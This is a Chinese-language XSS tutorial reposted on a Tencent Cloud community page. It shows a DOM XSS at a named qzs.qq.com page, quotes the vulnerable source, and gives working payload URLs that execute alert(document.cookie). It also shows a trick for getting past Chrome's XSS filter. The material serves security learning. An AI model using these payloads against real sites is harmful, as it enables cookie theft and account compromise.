前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 18. XSS过滤器绕过 [猥琐绕过]

那些年我们一起学XSS - 18. XSS过滤器绕过 [猥琐绕过]

作者头像
渗透攻击红队
发布2019-11-20 11:32:47
7460
发布2019-11-20 11:32:47
举报
文章被收录于专栏:漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

XSS过滤器绕过

代码语言:javascript
复制
有些时候,通用的绕过技巧并不可行,这个时候我们就得观察缺陷点的周围环境,想想其它办法咯。“猥琐绕过”与通用绕过不同的是,它通用性小,往往只是特例。

1. 直接看实例点:

代码语言:javascript
复制
http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID=aaaaaaaaaa

2. 可以看出,这是一个DOM XSS的点。

3. 我们看看源码。

代码语言:javascript
复制
....
var siDomain = paras['siDomain'],
	g_StyleID = paras['g_StyleID'].replace("v6/","");
	if(siDomain.indexOf(".qq.com")>-1){//防止qzs.qq.com
		siDomain = paras['siDomain'] = "qzonestyle.gtimg.cn";
	}
	document.write('<link href="http://'+siDomain+'/qzone_v6/gb/skin/'+g_StyleID+'.css" rel="stylesheet" /><link href="http://'+siDomain+'/qzone_v6/home_normal.css" rel="stylesheet" />');
...

不难看出,siDomain与g_StyleID都是地址栏里获取过来,然后通过document.write输出到页面中。 4. 利用先前教程的知识,我们不难构造出利用代码。

代码语言:javascript
复制
http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><script>alert(document.cookie)</script>

可以看到,IE下成功弹出。

5. 但是到了chrome下,又被拦截了。。

6. 这个时候怎么办呢?因为这里接受地址栏的参数时,是以 "=" 分割,因而我们的代码中是不允许携带 等号的。故上一篇的技巧不能拿到这里来使用了! 7. chrome拦截,是有一定的拦截规则的,只有它觉得是恶意代码的才会去拦截。这个时候,就需要我们“观察地形”啦!! 我们仔细看看这句。

代码语言:javascript
复制
g_StyleID = paras['g_StyleID'].replace("v6/","");

8. 不难看出,这里会对g_StyleID进行一次替换,将v6/替换为空。那么如果我们的g_StyleID写为下面的情况

代码语言:javascript
复制
<scrv6/ipt>alert(document.cookie)</script>

经过替换后,就会变成。

代码语言:javascript
复制
<script>alert(document.cookie)</script>

但是chrome并不会把<scrv6/ipt>alert(document.cookie)</script> 当作恶意的,是不是就可以绕过了? 我们试试。

代码语言:javascript
复制
http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><scv6/ript>alert(document.cookie)</script>

果然可以~

这样一来,我们这个XSS,就不会被浏览器的XSS过滤器所蹂躏啦!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-09-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档